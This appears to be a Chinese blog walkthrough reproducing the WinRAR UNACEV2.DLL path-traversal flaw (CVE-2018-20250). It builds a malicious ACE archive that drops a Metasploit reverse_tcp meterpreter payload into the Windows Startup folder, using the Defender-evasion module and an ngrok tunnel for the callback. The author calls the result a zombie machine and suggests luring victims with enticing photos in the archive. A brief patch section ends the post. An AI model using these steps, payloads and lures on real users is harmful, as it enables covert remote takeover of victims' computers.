起因#
來自WinRAR 中國下載頁面的內容
來自 Check Point Software Technologies 公司的 Nadav Grossman 向我們介紹了 UNACEV2.DLL 庫中的安全漏洞。上述漏洞可以在解壓縮 ACE 壓縮檔時在目標文件夾內部或外部的任意文件夾中創建文件。WinRAR 使用此第三方庫來解壓縮 ACE 檔案。自 2005 年以來 UNACEV2.DLL 一直未更新,我們無法訪問其源代碼。因此我們決定放棄 ACE 壓縮格式支持,來保護 WinRAR 用戶的安全性。
報告源地址:Extracting a 19 Year Old Code Execution from WinRAR
影響版本:
WinRAR < 5.70 Beta 1
Bandizip <= 6.2.0.0
好壓 (2345 壓縮) <= 5.9.8.10907
360 壓縮 <= 4.0.0.1170
漏洞一發布,各大安全公司立馬就開始了漏洞及惡意樣本的分析:
** Flag:看到漏洞的利用結果是添加文件進啟動項我就知道這個漏洞有很大機率會被各大安全衛士攔截,話先放在這裡 **
漏洞成因分析#
作為一名萌新,所能做的就是看大佬們分析並在看多了之後嘗試自己去分析就足夠了
大部分漏洞分析的文章都是復現原報告的內容
漏洞復現#
該動態鏈接庫的作用是處理 ACE 格式文件。而在解壓處理過程中存在一處目錄穿越漏洞,允許解壓過程寫入文件至開機啟動項,導致代碼執行。
參考文章:
-
WinRAR 遠程代碼執行漏洞結合 Metasploit+Ngrok 實現遠程上線 (freebuf - 艾登 —— 皮爾斯)
-
利用 WinRAR 遠程代碼執行漏洞結合 Metasploit5+Ngrok 實現內網滲透 (安全漏洞環境學習 - 牆角睡大覺)
環境準備#
-
攻擊機:Kali 2019.1 聯網
-
靶機:Win7 SP1 聯網
WinRAR v5.6 下載地址:http://www.zdfans.com/html/5737.html
這裡下了個國人漢化的,無所謂,版本對了就行:
我們可以看到導致漏洞的UNACEV2.dll
文件還是在的就 OK:
下載 winrar 的 exp#
git clone https://github.com/WyAtu/CVE-2018-20250.git
網速不好的同學可以使用我克隆到 gitee 的:
git clone https://gitee.com/soapffz/CVE-2018-20250.git
開啟 ngrok 隧道#
當然你內網攻擊就不需要這步了
- 開通隧道
打開網站 https://www.ngrok.cc,沒有帳號的話註冊一個即可。登錄,左邊隧道管理 -> 開通隧道 -> 選擇右下角的香港 Ngrok 免費伺服器:
- 把 ngrok 隧道協議設置成 TCP,內網 IP 改成你自己的 KaliLinux 的內網 IP,內網端口號任意填寫不衝突即可
然後你開通服務就會發現不管你切換成什麼端口都會變成這樣:
很明顯,這是營銷策略,於是被坑的花了 10 塊的大洋開了個 VIP 伺服器:
-
下載Ngork 的 64 位版本客戶端到本地
-
開啟隧道:
./sunny clientid 你的隧道ID
配置 payload#
- 打開 Metasploit,選擇免殺模塊
生成 payload:
evasion/windows/windows_defender_exe 是 msf5 新增的模塊,如果 kali 版本低,可只安裝更新 Metasploit 即可:
msfconsole
use evasion/windows/windows_defender_exe(選擇msf5免殺模塊)
show info(顯示模塊信息)
set filename WinRarPayloadTest.exe(設置Payload名字 )
set payload windows/meterpreter/reverse_tcp(設置Payload類型 )
set lhost 你的贈送域名(設置上線地址,填寫Ngrok映射出去的地址即可,不包含端口號和協議類型)
set lport 你的port(設置監聽端口,填寫Ngrok映射出去的端口即可 )
run(生成Payload)
Payload 的路徑地址:/root/.msf4/local/WinRarPayload.exe
- 將上述生成的 exe 程序複製到之前下載好的 exp 文件夾目錄下:
修改 exp.py 中的 rar_filename 和 evil_filename 值:
python exp.py
自動在文件根目錄下生成惡意壓縮包:
好,報錯,關閉 Kali,睡覺,開玩笑的~
作者在 Read.me 中提出來了這個問題:https://gitee.com/soapffz/CVE-2018-20250/blob/master/README.md
如果你的 python 的環境變量是配置為python2
,python3
這樣似的,那麼在exp.py
文件中找到get_right_hdr_crc
這個函數,把其中打開acefile.py
的這行代碼
p = os.popen('py -3 acefile.py --headers %s'%(filename))
改為你的 python 打開方式,比如:
p = os.popen('python3 acefile.py --headers %s'%(filename))
當然,如果你的環境中能夠執行py -3
這條指令就不用改了
已經成功生成了惡意的壓縮包,這時候往裡面丟一些照片視頻 (你懂的) 什麼的就變成了誘人的壓縮包了。
將生成的壓縮文件複製到 www 目錄下,開啟一個 Apache2 服務
靶機上線及監聽#
Windows7 靶機下載解壓這個惡意壓縮包:
發現在 win7 的啟動目錄:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
出現了我們的惡意 payload.exe:
Metasploit 啟動遠程監聽主機上線請求:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost Kali的ip
set lport 前面申請ngrok時設置的內網端口
run
- 確保 ngrok 後台在運行,然後重啟 Win7,在 kali 中等待一會就能看到 win7 上線了:
進入 shell 中即可操作 win7:
一台完美的肉雞就控制上了,然後接下來就是吃雞了!!!
漏洞修復#
-
升級到 5.70.2.0 版本
-
刪除其安裝目錄下的 UNACEV2.dll 文件
-
收到敏感性壓縮包要小心,切勿被好奇心害了!